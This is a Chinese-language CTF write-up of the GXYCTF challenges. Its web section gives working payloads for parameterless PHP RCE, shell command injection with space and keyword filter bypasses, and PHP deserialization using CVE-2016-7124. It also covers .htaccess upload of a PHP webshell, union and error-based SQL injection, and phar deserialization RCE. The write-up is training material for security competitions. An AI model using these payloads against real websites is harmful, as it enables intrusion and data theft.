Misc
佛系青年
题目描述:
解题思路:
附件内的文本文件fo.txt直接打不开,猜测flag就在这个文件里面
然后,发现这个zip是伪加密,就修改此处的0900为0000
修改并保存,接着打开fo.txt,发现其中的佛曰是与佛论禅的密文
在线解密这段密文即得flag
知识扩充:
- 伪加密,参考我的这篇文章https://xingshuaikun.github.io/2019/12/25/zip%E4%BC%AA%E5%8A%A0%E5%AF%86/
- 与佛论禅网站http://www.keyfc.net/bbs/tools/tudoucode.aspx
gakki
题目描述:
解题思路:
解压压缩包,得到一个wolaopo.jpg的图片,唉,也不知道出题人有多饥渴
binwalk查看这个图片中有挺多文件的,于是就用foremost分离
然后得到了一个压缩包,而且里面就是flag.txt,并且加密了
最终用ARCHPR爆出来了压缩包的密码是8863
解出flag.txt文件,内容为看不懂是什么密码的密码,通过HxD统计出不同字符出现的次数排序依次排列得出flag。
也可以通过代码统计出不同字符出现的次数排序,依次排列得出flag。
知识扩充:
字符次序统计代码
1 | # -*- coding: UTF-8 -*- |
babync
题目描述:
你高数过了嘛,nc 183.129.189.60 10029
解题思路:
尝试几个数字
直接上脚本pwntools,折半查找
1 | from pwn import * |
SXMgdGhpcyBiYXNlPw==
题目描述:
解题思路:
题目base64解密之后的结果如下所示
然后,对它进行base64解密,得到的是莫扎特的一首音乐歌词,有兴趣的朋友可以听听看!
关于base64隐写的介绍,大家可以看我的另一篇文章
看完上面的文章后,我这里直接从上面文章中拿来脚本如下:
1 | def get_base64_diff_value(s1, s2): |
得到flag
知识扩充:
Crypto
CheckIn
题目描述:
解题思路:
题目解压缩后是一个txt文件,里面内容是
dikqTCpfRjA8fUBIMD5GNDkwMjNARkUwI0BFTg==
该字符串转base64得到
再转ROT47即可得到flag
知识扩充:
- rot47加解密
Web
禁止套娃!
题目描述:
解题思路:
打开题目发现如下界面
这道题改编自2019ByteCTF,所谓无参数RCE,就是只允许执行a(), a(())这样的函数,而不允许带参数,比如echo(“aa”)是禁止的 关于无参数RCE,推荐一篇一叶飘零和pdsdt两个大佬的文章:
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/
首先可以扫描目录,发现.git/文件夹,直接 githack 走一波搞源码
1 | python GitHack.py http://172.21.4.12:10031/.git/ |
得到如下的源码
1 | <?php |
看下正则匹配,(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数,然后eval($_GET[‘exp’]);,典型的无参数RCE
由于正则匹配了一些关键字比如et导致很多函数不能用,getshell什么的基本不可能,只能考虑读源码。
如何得到文件名flag.php 要想读出flag.php,就需要有一个函数返回flag.php文件名,scandir()函数可以扫描当前目录下的文件,例如: <?php print_r(scandir(‘.’));
1 chr(46)
如何得到scandir()中的’.’ 1.chr(46) 对于这种方法chr(46),又来了新的问题,46如何得到?下面列出三种方法:
- chr(rand())
- chr(time())
- chr(current(localtime(time())))
推荐大家用第三种,前两种要看人品,有时候好几分钟才能碰巧成功。
localtime(time())的返回是一个数组,Array[0]为一个0~60之间的数字,每秒加1,所以最多一分钟就可以得到46。由于php数组内部指针默认指向第一个元素,所以current()或pos()取数组中当前元素的值,就得到了这个数字。
相关操作数组的方法有:
- end() 将内部指针指向数组中的最后一个元素,并输出
- next() 将内部指针指向数组中的下一个元素,并输出
- prev() 将内部指针指向数组中的上一个元素,并输出
- reset() 将内部指针指向数组中的第一个元素,并输出
- each() 返回当前元素的键名和键值,并将内部指针向前移动
2 current(localeconv())
localeconv() 函数返回一包含本地数字及货币格式信息的数组,
current(localeconv())永远都是个点
如何得到flag.php
现在,我们尝试用scandir()扫描当前目录
?exp=print_r(scandir(current(localeconv())));
可见,flag.php是倒数第二个值,假设是倒数第一个我们可以用end(),但是并没有一个操作数组的函数能够输出数组的倒数第二个值。怎么办?依然有两种方法(我只想到这两种)
3 array_reverse()
看函数名就知道了,以相反的元素顺序返回数组
?exp=print_r(array_reverse(scandir(current(localeconv()))));
然后上面介绍操作数组的方法中,next()将内部指针指向数组中的下一个元素并输出,next(array_reverse(scandir(pos(localeconv()))))就得到了flag.php
4 array_rand(array_flip())
array_flip()交换数组的键和值
?exp=print_r(array_flip(scandir(current(localeconv()))));
array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
如何读flag.php的源码
因为et被ban了,所以不能使用file_get_contents(),但是可以可以使用readfile()或highlight_file()
view-source:http://172.21.4.12:10031/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
官方给的exp是
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
ping ping ping
题目描述:
解题思路:
两条linux shell命令一起执行,中间的分隔符一般有以下几种
- ;
- &&
- ||
- %0a
- %0d
- | (管道符)
打开题目测试发现,ping x.x.x.x -c 4
fuzz后发现,只有分号;没有被ban,导致可以两条命令同时执行
127.0.0.1;env
绕过空格过滤 继续fuzz,发现空格被ban了
对于空格,可以使用但不限于以下几种替代方案:
- $IFS
- ${IFS}
- $IFS$9
- <
- <>
- {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
- %20
- %09
发现{ } < > %09都被过滤了,但是可以使用$IFS和$IFS$9来绕过空格过滤
绕过关键字黑名单,bypass空格过滤,查看index.php的源代码
?ip=127.0.0.1;cat$IFS$9index.php
1 | <?php |
可见flag被过滤了,同样的方法cat$IFS$9flag.php就会die(“fxck your flag”);
绕过关键字,可以使用但不限于以下几种方法:
- ca\t y1n\g.php 反斜线绕过
- cat y1”ng.php 两个单引号绕过
- echo “Y2F0IHkxbmcucGhw” | base64 -d | bash base64编码绕过
- echo “6361742079316E672E706870” | xxd -r -p | bash hex编码绕过
- cat y1[n]g.php 用[]匹配
- cat y1n* 用*匹配任意
- 内联执行
根据index.php的源码中的正则匹配,本题目可以使用变量拼接绕过得到flag
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
当然也可以像V&N的师傅们一样使用内联执行,一种非常巧妙的姿势
所谓内联执行,就是将反引号 ls
内命令的输出(ls的结果)作为另一个命令的输入
exp如下:
?ip=127.0.0.1;a=g;cat$IFS$9
ls
将ls
的执行结果(index.php和flag.php)作为cat的输入,直接得到index.php和flag.php的源码
bypass技巧参考文章
- http://www.it1352.com/757355.html
- https://blog.csdn.net/Virtual_Func/article/details/51182347
- https://blog.csdn.net/whusl/article/details/84126534
Do you know robots
题目描述:
解题思路:
打开是一个无情的报菜名机器,题目提示 robots 协议,可以看到一个vim备份文件index.php~ ,下载源码
1 | <?php |
反序列化利用位点:
1 | if(isset($_GET['exp'])) |
只要通过GET方式传入一个不含flag的exp,然后通过将$_REQUEST[‘exp’]反序列化。
审源码可以得知这是个标准的反序列化题目,变量名都是public类型(注意如果是private类型需
要增加\0),主要功能是将文件上传和报菜名2333
网页使用$_GET方法传参,但是会正则匹配.?f.?l.?a.?g.? ,导致不可以读flag,但是仔细审计就会发现问题,真正的$exp是接受的$_REQUEST[‘exp’]的,针对这种使用$_REQUEST[]接收参数的代码,如果同时使用get和post两种方式传相同类型的参数,那么post的参数会覆盖掉get的参数,最终$_REQUEST[]接受的参数是post过来的
上面可能有些拗口,实际举个例子就是posturl传?a=1,同时用post发送a=2,在服务器使用$_REQUEST[‘a’]接受参数,最后$_REQUEST[‘a’]的值是2,大家可以自己动手做做实验。
此外,__wakeup()会在反序列化的时候自动调用,会复写掉文件,这时候就要请出 CVE-2016- 7124,只要让成员属性数目大于实际数目时就可以绕过wakeup()方法因此我们可以构造payload
O:10:”FileReader”:4:{s:8:”Filename”;s:57:”php://filter/read=convert.base64-encode/resource=flag.php”;s:5:”start”;i:0;s:10:”max_length”;i:10000;}
将这个序列化字符串通过post形式传给exp,GET方式就随便给个1,将得到的base64解密即可得到flag
不用伪协议,也完全OK
通过修改start和max_length,读取{}里面的部分,然后再放到GXY{}里面,这应该是出题人的本意。
exp: exp=O:10:”FileReader”:4:{s:8:”Filename”;s:22:”/var/www/html/flag.php”;s:5:”start”;i:21;s:10:”max_length”;i:17;}
babyupload
题目描述:
解题思路:
就是每3s就会删除你上传的东西
打开题目,先fuzz,传jpg格式的一句话
盲猜可能是检测了文件开头的<?形式,更换成下图的script绕过形式,
发现上传成功
接下来就是绕过后缀名,题目肯定不能直接传php,尝试用phtml之类的后缀过滤,但发现带ph的都被ban了。
这样情况下,就没有任何其他后缀名能够被php解析了。 但是继续测试发现,上传不会修改文件名,并且只要不带ph的任何其他后缀都可以上传成功,比如传个1.aaaaa
这就很明显了,既然是个上传题目,方法就那么几种,这个题目也没什么别的东西了所以新姿势大概率也不可能。所以,想办法让服务器用php来解析其他后缀名。
通过404页面得知网站是Apache
所以创建.htaccess文件,添加如下代码:
1 | AddType application/x-httpd-php .jpg |
使Apache用php来解析.jpg文件,上传
传好之后去打开刚刚上传的.jpg的一句话木马,发现404,然后去访问.htaccess发现也404了。
重新上传,访问,不断刷新,发现文件在两三秒后被删除了。
测试发现只要SESSION不变,上传之后的路径就是一样的,于是可以推测是条件竞争:只要我们不断在它被删除之前重新上传它,它就会一直存在。
将上传的post包Send to Intruder不断重放,然后连接就可以了。
再使用中国蚁剑连接获得网站管理权
在根目录找到flag
知识扩充:
- 添加gif89a的头
- script绕过php检测
- php2,php3、php4、php5、phtml、phtm代替php后缀
- 传.htaccess
- 截断上传
BabySqli v1.0
题目描述:
刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
解题思路:
题目告诉我们是用md5哈希了密码,fuzz时候随便输入个账号密码登录,提示wrong pass,看源代码
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
base32解码得到c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
base64解密得到select * from user where username = ‘$name’
于是发现name参数可以注入
因为题目没放源码,就自己盲猜一下源码大致是这样的
1 | <? |
将查询出来的passwd和输入的密码的md5值比较,相等则登录不相等则wrong pass.
我们需要在user表里查询我们输入的字段名并进行判断,而我们什么都不知道,这时候就需要骚操作了
在sql数据库里,当联合查询一个不存在的数据时会虚拟一个根据使用表排序的数据,根据这个特性来进行绕过
而由于name参数可注,我们可以构造sql语句使其查询为假,然后联合查询出一个比如e10adc3949ba59abbe56e057f20f883e(123456的md5),然后密码输入123456,就会查询成功。
问题在于,既然 123456 的md5肯定不在数据库里,怎么select出来?这很简单
其实只要保证联合查询的结构一样,就可以直接select后面输入你想要的查询的返回值,如上图所示。
如果用户不是admin 会提示wrong user,本题先判断user是admin然后再判断密码
过滤了and可以大小写绕过,过滤了等号可以换成不等号 注出密码
cdc9c819c7f8be2628d4180669009d28
发现解不开,分析后发现,是考md5绕过。
由于题目的查询语句是:
select * from user where username = ‘$name’
联合查询需要表结构完全一样,所以前面注出3个column也还是有用的。当然也有其他方法,比如如果不是3个column会提示
Error: The used SELECT statements have a different number of columns
测试后发现,select ‘A’,’B’,’C’ 其中A是id, B是用户名必须为admin, C是密码的md5,于是,先构造查询为假(And 1>2绕过and和=过滤),然后联合查询返回自定的md5,在输入对应的密码,最终exp:
1 | name=admin' And 1>2 union select '1','admin','e10adc3949ba59abbe56e057f20f883e&pw=123456 |
BabySqli v2.0
题目描述:
解题思路:
打开题目,可以看到 “我对网站进行了加固,还支持了中文账号,这下你们没辙了吧?” 进入,发现只要是输入admin,无论任何密码都登录成功,还是get方式,然而并没什么用
(刚开始做的时候 图片右下角有个放大镜,我天真的以为是图片misc和web结合了,分析了半天图片23333) fuzz无果,手工fuzz,输入admin%df’后出现了报错,明显的宽字节注入
知道了这一点,就很多方法了,我用了updatexml()报错注入和floor()报错注入两种方法,还有别的大佬用布尔盲注等等
另外:fuzz发现union select where之类的这些关键字会被过滤删除,不过这都是老套路,双写绕过即可,比如select可以使用seSELECTlect绕过
解法1:floor()报错注入
推荐一篇文章:https://blog.csdn.net/qq_39101049/article/details/88839514
就直接照着文章往里面套就行了。直接给最终的出flag的exp吧:
1 | /search.php?name=%df'and(seselectlect 1 from(sselectelect count(*),concat((sselectelect (SESELECTLECT concat(327a6c4304ad5938eaf0efb6cc3e53dc) FROM f14g limit 22,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+&pw=y1ng |
然后把注出来的base64解码即可。
解法2:updatexml报错注入
我最开始是用的updatexml报错,但是这个方法有几个坑。后来发现其他的方法似乎都比这个简单,醉了~ 简单介绍一下updatexml()报错注入的原理
updatexml (XML_document, XPath_string, new_value);
updatexml()函数第第二个参数为XPath_string,但是我们将concat()作为第二个参数传给updatexml()函数,concat()返回类型为字符串所以不满足XPath_string格式出现XPath syntax error,进而爆出数据库信息。
<1>查数据库名
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1,database()),1) –+&pw=y1ng
得到
Error: XPATH syntax error: ‘web_sqli’
其实一般的exp都是concat()拼接上一个字符’‘,编码为0x7e,本题fuzz发现hex被过滤了,所以concat()里直接拼个1算了,本题中并不影响。加’‘是因为updatexml()会报错字母和特殊字符之后的内容,所以手工补上一个特殊字符’~‘
<2>查表名
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seSELECTlect group_concat(table_name) from information_schema.tables whWHEREere table_schema=database() limit 0,1)),1) –+&pw=y1ng
得到
Error: XPATH syntax error: ‘f14g,user’
可以判定出来flag在f14g表里,而现在登录使用的是user表
<3>查列名
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seSELECTlect group_concat(column_name) from information_schema.columns wherWHEREe TABLE_SCHEMA=database() and TABLE_NAME=f14g)),1) –+&pw=y1ng
得到
Error: Unknown column ‘f14g’ in ‘where clause’
不加引号的f14g无法查询成功,可以使用char编码绕过(我太菜了)
返回
Error: XPATH syntax error: ‘b80bb7740288fda1f201890375a60c8f’
其实我当时发现不加引号的f14g无法查询,放宽了查询条件,直接where table_schema=database()查所有字段,输出的结果和上面一样。
后面的事情就有点搞笑
现在已经查到f14g这个表里有一个名为b80bb7740288fda1f201890375a60c8f的列,md5解密后为id,然后发现这个里面的字段真就是id号一堆数字。
我当时没想到怎么查另一个列(后来群里有师傅看不下去我这个菜鸡然后告诉了我),就盲猜有一个专门存flag的列,他也是md5加密的,‘flag’的md5为327a6c4304ad5938eaf0efb6cc3e53dc,然后发现还真是,盲猜列名猜对了2333333
无敌脑洞,盲猜列名,哈哈哈哈哈哈哈
<4>查字段
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 0,1),1),1) –+ &pw=y1ng
得到base64
Error: XPATH syntax error: ‘VGhlIGZpcnN0IG1hbiBuYW1lIHdhcyBr’
解密之
The first man name was k
然后通过修改limit继续查,发现每条都是个base64,解密出来是抖肩舞的歌词!!! 就在注入半天+盲猜半天+又注入了半天结果发现是没用的歌词然后心态爆炸的时候,在歌词的后面查到了flag….
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),1),1) –+ &pw=y1ng
得到:
Error: XPATH syntax error: ‘R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0’
解密得到:GXY{g0Od_job1im_so_veget
不全,盲猜GXY{g0Od_job1im_so_vegetable},上面盲猜列,现在又盲猜flag,都猜对了23333无敌脑洞
<5>为什么查到的东西不全?
这是因为updatexml()限制长度为32位,超过32位的被丢弃了,所以上面无论是歌词还是flag,base64都经常缺个尾巴。 不过这也不是问题!substr()可以指定从字符串的某个位置开始,返回自定义长度:
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, substr((seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),10,32)),1) –+ &pw=y1ng
得到
Error: XPATH syntax error: ‘Rfam9iMWltX3NvX3ZlZ2V0YWJsZX0=’
把上面缺尾巴的和现在的base64拼接起来:
R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0 加 Rfam9iMWltX3NvX3ZlZ2V0YWJsZX0=
去重后得到
R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0YWJsZX0=
解密:GXY{g0Od_job1im_so_vegetable}
<6>怎么通过updatexml查f14g表里的另一个字段
不管是group_concat()也好还是concat_ws()也好还是concat(),都把结果连成了一个字符串输出。碰巧updatexml()限制长度为32位、而一个md5列名刚好也32位,就制造出了只能查出id的md5的那个列的假象。 得到flag时候都能想到用substr()取后面,现在怎么没想到呢hhh(我太菜了) 挺好的一个题,还特意过滤hex,imagin师傅(出题人)真细!
知识扩充:
- 宽字节注入
- 过滤0x
- union select where置空
BabySqli v3.0
题目描述:
解题思路:
这个题目因为出题人多打了个空格,出现了一个非常easy的非预期,我是用非预期做的,非常非常非常的搞笑。 这题目本意是考phar反序列化,关于phar反序列化可以参考以下文章:
这个题目挺坑的,根本没有数据库然后题目叫Babysqliv3.0,搞选手心态。 下面先介绍正常解法再介绍非预期。
登录
这个题目登录窗口简直和前两个sqli一毛一样,但是fuzz后无果,考虑爆破。 前两个题的username都是admin所以这次也先爆破密码
设置好payload后开始爆破,两秒后爆破出密码为password
LFI读源码
登录成功后,自动跳转至
发现是个上传页面,上面明确写着,当前引用的是 upload.php
而url又有file=upload,于是访问upload.php,发现这两个页面一样,说明是文件包含
简单扫一下目录发现存在flag.php,尝试包含发现flag被ban了
而包含其他文件,则会在后面拼接上.fxxkyou!,经测试%00截断等方法对此都无效
经过不断fuzz后发现: 若包含的文件以home或upload结尾,则在后面拼接上.php后包含;其他都被拼接上.fxxkyou! 但是伪协议没有被ban,因此我们可以使用伪协议读源码:
http://172.21.4.12:10041/home.php?file=php://filter/read=convert.base64-encode/resource=upload
得到当前引用的是 php://filter/read=convert.base64-encode/resource=upload.php
1 | PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+IA0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCgnkuIrkvKDmlofku7YNCgk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+DQoNCjw/cGhwDQplcnJvcl9yZXBvcnRpbmcoMCk7DQpjbGFzcyBVcGxvYWRlcnsNCglwdWJsaWMgJEZpbGVuYW1lOw0KCXB1YmxpYyAkY21kOw0KCXB1YmxpYyAkdG9rZW47DQoJDQoNCglmdW5jdGlvbiBfX2NvbnN0cnVjdCgpew0KCQkkc2FuZGJveCA9IGdldGN3ZCgpLiIvdXBsb2Fkcy8iLm1kNSgkX1NFU1NJT05bJ3VzZXInXSkuIi8iOw0KCQkkZXh0ID0gIi50eHQiOw0KCQlAbWtkaXIoJHNhbmRib3gsIDA3NzcsIHRydWUpOw0KCQlpZihpc3NldCgkX0dFVFsnbmFtZSddKSBhbmQgIXByZWdfbWF0Y2goIi9kYXRhOlwvXC8gfCBmaWx0ZXI6XC9cLyB8IHBocDpcL1wvIHwgXC4vaSIsICRfR0VUWyduYW1lJ10pKXsNCgkJCSR0aGlzLT5GaWxlbmFtZSA9ICRfR0VUWyduYW1lJ107DQoJCX0NCgkJZWxzZXsNCgkJCSR0aGlzLT5GaWxlbmFtZSA9ICRzYW5kYm94LiRfU0VTU0lPTlsndXNlciddLiRleHQ7DQoJCX0NCg0KCQkkdGhpcy0+Y21kID0gImVjaG8gJzxicj48YnI+TWFzdGVyLCBJIHdhbnQgdG8gc3R1ZHkgcml6aGFuITxicj48YnI+JzsiOw0KCQkkdGhpcy0+dG9rZW4gPSAkX1NFU1NJT05bJ3VzZXInXTsNCgl9DQoNCglmdW5jdGlvbiB1cGxvYWQoJGZpbGUpew0KCQlnbG9iYWwgJHNhbmRib3g7DQoJCWdsb2JhbCAkZXh0Ow0KDQoJCWlmKHByZWdfbWF0Y2goIlteYS16MC05XSIsICR0aGlzLT5GaWxlbmFtZSkpew0KCQkJJHRoaXMtPmNtZCA9ICJkaWUoJ2lsbGVnYWwgZmlsZW5hbWUhJyk7IjsNCgkJfQ0KCQllbHNlew0KCQkJaWYoJGZpbGVbJ3NpemUnXSA+IDEwMjQpew0KCQkJCSR0aGlzLT5jbWQgPSAiZGllKCd5b3UgYXJlIHRvbyBiaWcgKOKAsuKWvWDjgIMpJyk7IjsNCgkJCX0NCgkJCWVsc2V7DQoJCQkJJHRoaXMtPmNtZCA9ICJtb3ZlX3VwbG9hZGVkX2ZpbGUoJyIuJGZpbGVbJ3RtcF9uYW1lJ10uIicsICciIC4gJHRoaXMtPkZpbGVuYW1lIC4gIicpOyI7DQoJCQl9DQoJCX0NCgl9DQoNCglmdW5jdGlvbiBfX3RvU3RyaW5nKCl7DQoJCWdsb2JhbCAkc2FuZGJveDsNCgkJZ2xvYmFsICRleHQ7DQoJCS8vIHJldHVybiAkc2FuZGJveC4kdGhpcy0+RmlsZW5hbWUuJGV4dDsNCgkJcmV0dXJuICR0aGlzLT5GaWxlbmFtZTsNCgl9DQoNCglmdW5jdGlvbiBfX2Rlc3RydWN0KCl7DQoJCWlmKCR0aGlzLT50b2tlbiAhPSAkX1NFU1NJT05bJ3VzZXInXSl7DQoJCQkkdGhpcy0+Y21kID0gImRpZSgnY2hlY2sgdG9rZW4gZmFsaWVkIScpOyI7DQoJCX0NCgkJZXZhbCgkdGhpcy0+Y21kKTsNCgl9DQp9DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpIHsNCgkkdXBsb2FkZXIgPSBuZXcgVXBsb2FkZXIoKTsNCgkkdXBsb2FkZXItPnVwbG9hZCgkX0ZJTEVTWyJmaWxlIl0pOw0KCWlmKEBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkZXIpKXsNCgkJZWNobyAi5LiL6Z2i5piv5L2g5LiK5Lyg55qE5paH5Lu277yaPGJyPiIuJHVwbG9hZGVyLiI8YnI+IjsNCgkJZWNobyBmaWxlX2dldF9jb250ZW50cygkdXBsb2FkZXIpOw0KCX0NCn0NCg0KPz4NCg== |
base64解码后得到upload.php的源码:
1 | <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> |
同理也可得到home.php的源码,不过没有毛用
后面的操作分为”phar反序列化rce”和”非预期直接getshell”两种方法
phar反序列化RCE
这是预期解法,所以先介绍这种方法。
审计upload.php代码:
1 | $this->Filename = $_GET['name']; |
可见$this->Filename是可控的,可以通过name参数以get方式得到
分析最后上传部分的代码
1 | if(@file_get_contents($uploader)){ |
file_get_contents()使$uploader对象通过__toString()返回$this->Filename,由于phar://伪协议可以不依赖unserialize()直接进行反序列化操作,加之$this->Filename可控,因此此处$this->Filename配合phar反序列化后,__destruct()方法内eval($this->cmd);最终导致了远程代码执行 知道了这个思路,后面的事情就简单多了
由于__destruct()方法中,想要eval($this->cmd);的前提条件是$this->token和$_SESSION[‘user’]相等
1 | function __destruct(){ |
在__construct()方法中可见如下两行代码
1 | $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/"; $this->Filename = $sandbox.$_SESSION['user'].$ext; |
因此可以先随便上传一个txt,得到的路径中,.txt前面的就是$_SESSION[‘user’]
首先生成phar文件
注意要将php.ini中的phar.readonly设置为off
然后将生成的phar上传
得到路径
/var/www/html/uploads/6cc53bf383ddeaaa6d5ddc8d05758e86/GXYf966ca9e09125316b6bcc3a137f15449.txt
然后将这个路径带上phar://作为name参数的值,再随意上传一个文件,因为$this->Filename被我们手工指定为phar,触发了phar反序列化导致命令执行。
最终exp:
传任意文件后,得到flag
非预期解法:直接GETSHELL
这是我做题时候用的方法,甚至不需要phar,属实迷惑行为 爆破密码登录,base64读upload.php源码,这都和上面一样。
审计upload.php的代码,发现在__construct()方法内$this->Filename可控
1 | if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){ $this->Filename = $_GET['name']; } |
upload()内,只要文件小于1024,就将上传文件到$this->Filename
1 | $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');"; |
那我们只要使$this->Filename为/var/www/html/uploads/1.php,然后上传一个txt的一句话即可getshell
EXP:
http://172.21.4.12:10041/upload.php?name=/var/www/html/uploads/y1ng.php
上传一个txt的一句话
题目不太好使,要传两三次才能成功
蚁剑之
flag为:GXY{phar_1s_s0_danger}
不得不说,多打了空格导致非预期1s_s0_danger_too哈哈哈哈
参考链接
- https://blog.csdn.net/yisosooo/article/details/101165258
- https://www.gem-love.com/category/ctf
- https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247484608&idx=1&sn=a0d701f1932f0a235f0e2851dda61871&chksm=fd71118dca06989b853d5dac5322c3b80c1d1da84cfd36ed63b5e01c9c9d1dcddfb9942b6247&mpshare=1&scene=23&srcid=&sharer_sharetime=1577194302479&sharer_shareid=0ed84c079a78a485e04fa50e826c0770#rd
- http://www.pdsdt.lovepdsdt.com/index.php/2019/12/23/gxy_ctf-ginkgo/#babysqliv20
- https://blog.csdn.net/chasingin/article/details/103648441
- https://15h3na0.xyz/2019/12/21/GXYCTF%20Writeup/?from=groupmessage&nsukey=lzvye6q%2FD%2Fd73PbgxMqA3t1DxnjpUe3yTT3gztom9yvT6aHP8oyN%2BWwMu6eAIJLKkr05h%2F%2FGFMhJRtg3vr%2F672NqXNF6zHxP98AFe%2BaBct%2Bl%2Bv%2FfQ%2BPKzPRzEtaYulXDWeaMF4pHv0Rkf1wl1DHCUia%2F6U5cfvK%2FvRtLnewSYJMXTEbsThRyD1GRe%2BMKaGbqgbV6asYsarZu5GXWHpbXGw%3D%3D#BabysqliV3-0
- https://www.mydamya.top/GXYCTF-writeup-Mini-Ginkgo/#more
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。